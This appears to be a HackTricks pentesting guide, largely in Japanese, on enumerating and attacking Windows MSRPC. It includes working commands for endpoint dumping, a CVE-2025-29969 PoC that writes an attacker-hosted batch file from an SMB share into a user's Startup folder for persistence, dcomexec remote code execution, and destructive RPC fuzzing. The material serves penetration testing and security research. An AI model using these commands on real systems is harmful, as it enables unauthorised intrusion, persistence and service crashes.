135, 593 - Pentesting MSRPC

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

Microsoft Remote Procedure Call (MSRPC) プロトコルは、プログラムがネットワークの詳細を意識せずに別のコンピュータ上のプログラムにサービスを要求できるクライアント・サーバーモデルで、当初はオープンソースソフトウェアに由来し、その後 Microsoft によって開発・著作権が設定されました。

RPC エンドポイントマッパーは TCP と UDP の port 135、SMB は TCP 139 と 445(null または認証済みセッションで)、および TCP port 593 の web サービスとしてアクセス可能です。

135/tcp   open     msrpc         Microsoft Windows RPC

How does MSRPC work?

クライアントアプリケーションによって開始されるMSRPCプロセスでは、まずローカルのstub procedureが呼び出され、続いてクライアントランタイムライブラリと連携してサーバへ送信するリクエストを準備・送信します。これにはパラメータを標準の Network Data Representation フォーマットに変換する作業が含まれます。サーバがリモートの場合、使用するトランスポートプロトコルはランタイムライブラリによって決定され、RPCがネットワークスタック経由で配信されます。

https://0xffsec.com/handbook/images/msrpc.png

Identifying Exposed RPC Services

TCP、UDP、HTTP、SMB上でのRPCサービスの公開は、RPC locator serviceや各エンドポイントへのクエリによって判別できます。rpcdumpなどのツールは、IFIDで示される固有のRPCサービスを特定し、サービスの詳細と通信バインディングを明らかにします:

D:\rpctools> rpcdump [-p port] <IP>
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp:<IP>[1028]

RPC locator serviceへのアクセスは、次のプロトコルで有効になります: ncacn_ip_tcpおよびncadg_ip_udp(port 135経由でのアクセス用)、ncacn_np(SMB接続用)、およびncacn_http(webベースのRPC通信用)。以下のコマンドは、主にport 135に焦点を当ててMetasploitモジュールを利用し、MSRPCサービスを監査・操作する例です:

use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden
use auxiliary/scanner/dcerpc/management
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
rpcdump.py <IP> -p 135

All options except tcp_dcerpc_auditor are specifically designed for targeting MSRPC on port 135.

注目すべき RPC インターフェース

  • IFID: 12345778-1234-abcd-ef00-0123456789ab
  • Named Pipe: \pipe\lsarpc
  • Description: LSA インターフェース。ユーザーの列挙に使用される。
  • IFID: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
  • Named Pipe: \pipe\lsarpc
  • Description: LSA Directory Services (DS) インターフェース。ドメインと信頼関係の列挙に使用される。
  • IFID: 12345778-1234-abcd-ef00-0123456789ac
  • Named Pipe: \pipe\samr
  • Description: LSA SAMR インターフェース。公開 SAM データベース要素(例: ユーザー名)へのアクセスおよびアカウントロックアウトポリシーに関係なくユーザーのパスワードを brute-force するために使用される。
  • IFID: 1ff70682-0a51-30e8-076d-740be8cee98b
  • Named Pipe: \pipe\atsvc
  • Description: タスクスケジューラ。リモートでコマンドを実行するために使用される。
  • IFID: 338cd001-2244-31f1-aaaa-900038001003
  • Named Pipe: \pipe\winreg
  • Description: Remote registry サービス。システムレジストリへのアクセスと変更に使用される。
  • IFID: 367abb81-9844-35f1-ad32-98f038001003
  • Named Pipe: \pipe\svcctl
  • Description: Service control manager およびサーバーサービス。リモートでサービスを開始/停止したりコマンドを実行するために使用される。
  • IFID: 4b324fc8-1670-01d3-1278-5a47bf6ee188
  • Named Pipe: \pipe\srvsvc
  • Description: Service control manager およびサーバーサービス。リモートでサービスを開始/停止したりコマンドを実行するために使用される。
  • IFID: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
  • Named Pipe: \pipe\epmapper
  • Description: DCOM インターフェース。brute-force password grinding および WM を介した情報収集に使用される。

MS-EVEN (EventLog Remoting) プリミティブ

The MS-EVEN RPC interface (named pipe \pipe\even) exposes Eventlog operations. SafeBreach’s CVE-2025-29969 (EventLog-in) analysis shows a TOCTOU flaw in MS-EVEN that lets an authenticated low-privileged user trigger a remote arbitrary file write on the target: attacker-chosen content written to an attacker-chosen path without needing Administrator rights for the remote write.

Operational pattern (PoC workflow): stage a valid EVTX plus your payload on an SMB share, then race the MS-EVEN logic so the target fetches the SMB-hosted file and writes it to the chosen path.

impacket-smbserver -smb2support Share /tmp/safebreach

公開されたPoCはハードコードされたSMB共有名(Share)を使用しているため、変更する場合はscriptも更新する必要があります。

python write_file_remotely.py 192.168.56.102 192.168.56.105 lowuser Test123   "/tmp/safebreach/Sample.evtx" "calc.bat"   "C:\Users\lowuser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\target.bat"

一般的なチェーンとして、永続化と次回ログオン時の実行のために、ユーザーごとの Startup folder に配置する(実行はそのユーザーのコンテキストで行われる)。

MS-EVEN CreateFile-style プリミティブ(recon 用)

MS-EVEN は file open/create プリミティブ(PoC では CreateFile と記述)も公開しており、任意の認証済みユーザーが リモートのファイルやディレクトリが存在するかを probe できる。これは、一般的なインストールパス(例: C:\Program Files\<Vendor>)をチェックしてソフトウェアを発見するのに有用である:

python check_if_exists.py 192.168.56.57 lowuser Password1! "C:\Program Files\Wireshark"

Result:
FILE_EXISTS_AND_IS_DIRECTORY

IPアドレスの特定

Using https://github.com/mubix/IOXIDResolverAirbus research によると、IOXIDResolver インターフェース内の ServerAlive2 メソッドを悪用することが可能です。

このメソッドは HTB ボックス APT から IPv6 アドレスとしてインターフェース情報を取得するために使用されました。0xdf の APT の解説は here を参照してください。そこには rpcmap.py(Impacket)を stringbinding で使う別の方法も含まれています(上記参照)。

有効な資格情報での RCE 実行

有効なユーザーの資格情報が入手できる場合、Impacket フレームワークの dcomexec.py を使用して、マシン上でリモートコードを実行することが可能です。

使用可能な異なるオブジェクトでも試すことを忘れないでください

  • ShellWindows
  • ShellBrowserWindow
  • MMC20

ポート 593

rpctoolsrpcdump.exe はこのポートと対話できます。

MSRPC インターフェースの自動ファジング

MS-RPC インターフェースは大きく、しばしば文書化されていない攻撃面を露呈します。オープンソースの MS-RPC-Fuzzer PowerShell モジュールは James Forshaw の NtObjectManager を基盤として、Windows バイナリに既に存在するインターフェースメタデータから 動的に RPC クライアントスタブを作成します。一度スタブが作成されると、このモジュールは各プロシージャに変異させた入力を浴びせて結果をログに記録でき、IDL を一行も書かずに RPC エンドポイントの再現可能な大規模ファジングを可能にします

1. インターフェースのインベントリ

# Import the module (download / git clone first)
Import-Module .\MS-RPC-Fuzzer.psm1

# Parse a single binary
Get-RpcServerData -Target "C:\Windows\System32\efssvc.dll" -OutPath .\output

# Or crawl the whole %SystemRoot%\System32 directory
Get-RpcServerData -OutPath .\output

Get-RpcServerData は UUID、バージョン、バインディング文字列 (named-pipe / TCP / HTTP)、および 完全なプロシージャのプロトタイプ を見つかったすべてのインターフェースから抽出し、rpcServerData.json に保存します。

2. fuzzer を実行する

'.\output\rpcServerData.json' |
Invoke-RpcFuzzer -OutPath .\output `
-MinStrLen 100  -MaxStrLen 1000 `
-MinIntSize 9999 -MaxIntSize 99999

Relevant options:

  • -MinStrLen / -MaxStrLen – 生成される文字列の長さ範囲
  • -MinIntSize / -MaxIntSize – 変異させる整数の値範囲(オーバーフロー検査に有用)
  • -Sorted – プロシージャをパラメータ依存関係を尊重する順序で実行し、ある呼び出しの出力が次の呼び出しの入力として使えるようにする(到達可能なパスが劇的に増加する)

The fuzzer implements 2 strategies:

  1. Default fuzzer – ランダムなプリミティブ値 + 複合型にはデフォルトインスタンスを使用
  2. Sorted fuzzer – 依存関係を考慮した順序(docs/Procedure dependency design.md を参照)

Every call is written atomically to log.txt; after a crash the last line immediately tells you the offending procedure. The result of each call is also categorised into three JSON files:

  • allowed.json – 呼び出しが成功してデータを返した
  • denied.json – サーバが Access Denied で応答した
  • error.json – その他のエラー / クラッシュ

3. Neo4jで可視化

'.\output\allowed.json' |
Import-DataToNeo4j -Neo4jHost 192.168.56.10:7474 -Neo4jUsername neo4j

Import-DataToNeo4j は JSON アーティファクトを次のようなグラフ構造に変換します:

  • RPC サーバー、インターフェース、プロシージャは ノード
  • インタラクション(ALLOWED, DENIED, ERROR)は リレーションシップ

その後、Cypher クエリを使って危険なプロシージャを素早く見つけたり、クラッシュに至るまでの呼び出しチェーンを正確に再現したりできます。

⚠️ fuzzer は 破壊的 です:サービスのクラッシュや BSODs が発生する可能性があります — 必ず隔離された VM snapshot 上で実行してください。

自動インターフェース列挙と動的クライアント生成 (NtObjectManager)

PowerShell の達人 James Forshaw はオープンソースの NtObjectManager モジュール内で Windows RPC の内部の大部分を公開しました。これを使えば、任意の RPC サーバー DLL / EXE を数秒で フル機能の client stub に変換でき、IDL、MIDL、手動での unmarshalling は不要です。

# Install the module once
Install-Module NtObjectManager -Force

# Parse every RPC interface exported by the target binary
$rpcinterfaces = Get-RpcServer "C:\Windows\System32\efssvc.dll"
$rpcinterfaces | Format-Table Name,Uuid,Version,Procedures

# Inspect a single procedure (opnum 0)
$rpcinterfaces[0].Procedures[0] | Format-List *

典型的な出力では、パラメータの型がMIDLに表示されている通りに出力されます(例:FC_C_WSTRING, FC_LONG, FC_BIND_CONTEXT)。

インターフェースが分かれば、そのままコンパイル可能な C# クライアントを生成できます:

# Reverse the MS-EFSR (EfsRpc*) interface into C#
Format-RpcClient $rpcinterfaces[0] -Namespace MS_EFSR -OutputPath .\MS_EFSR.cs

生成された stub の中には、次のようなメソッドが見つかります:

public int EfsRpcOpenFileRaw(out Marshal.NdrContextHandle ctx, string FileName, int Flags) {
// marshals parameters & calls opnum 0
}

PowerShell のヘルパー Get-RpcClientインタラクティブなクライアントオブジェクト を作成できるため、プロシージャをすぐに呼び出せます:

$client = Get-RpcClient $rpcinterfaces[0]
Connect-RpcClient $client -stringbinding 'ncacn_np:127.0.0.1[\\pipe\\efsrpc]' `
-AuthenticationLevel PacketPrivacy `
-AuthenticationType  WinNT  # NTLM auth

# Invoke the procedure → returns an authenticated context handle
$ctx = New-Object Marshal.NdrContextHandle
$client.EfsRpcOpenFileRaw([ref]$ctx, "\\\127.0.0.1\test", 0)

Authentication(Kerberos / NTLM)や暗号化レベル(PacketIntegrity, PacketPrivacy, …)は、Connect-RpcClient cmdlet を使って直接指定できます — 高権限の named pipes を保護する Security Descriptors をバイパスするのに最適です。

コンテキストアウェアな RPC Fuzzing (MS-RPC-Fuzzer)

静的なインターフェース情報は有用ですが、実際に求められるのは context handles や複雑なパラメータチェーンを理解する coverage-guided fuzzing です。オープンソースの MS-RPC-Fuzzer プロジェクトはまさにそのワークフローを自動化します:

  1. ターゲットバイナリがエクスポートするすべての interface/procedure を列挙する (Get-RpcServer)。
  2. 各 interface の動的クライアントを生成する (Format-RpcClient)。
  3. 元の NDR type を尊重しつつ、入力パラメータ(wide strings の長さ、整数範囲、enums など)をランダム化する。
  4. 一つの呼び出しで返される context handles を追跡し、後続の手続きに自動で供給する。
  5. 選択したトランスポート(ALPC, TCP, HTTP または named pipe)に対して大量の呼び出しを送る。
  6. 終了ステータス / フォールト / タイムアウトをログに記録し、Neo4j のインポートファイルをエクスポートして interface → procedure → parameter の関係やクラッシュクラスターを可視化する。

Example run (named–pipe target):

Invoke-MSRPCFuzzer -Pipe "\\.\pipe\efsrpc" -Auth NTLM `
-MinLen 1  -MaxLen 0x400 `
-Iterations 100000 `
-OutDir .\results

単一の out-of-bounds write または unexpected exception は、トリガーした正確な opnum + fuzzed payload とともに即座に検出されます — 安定した proof-of-concept exploit を作るための完璧な出発点です。

⚠️ 多くの RPC サービスは NT AUTHORITY\SYSTEM として実行されているプロセス内で動作します。ここでのメモリ安全性の問題は通常、ローカル権限昇格に繋がるか、(SMB/135 経由で公開されている場合) remote code execution になります。

参考文献

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする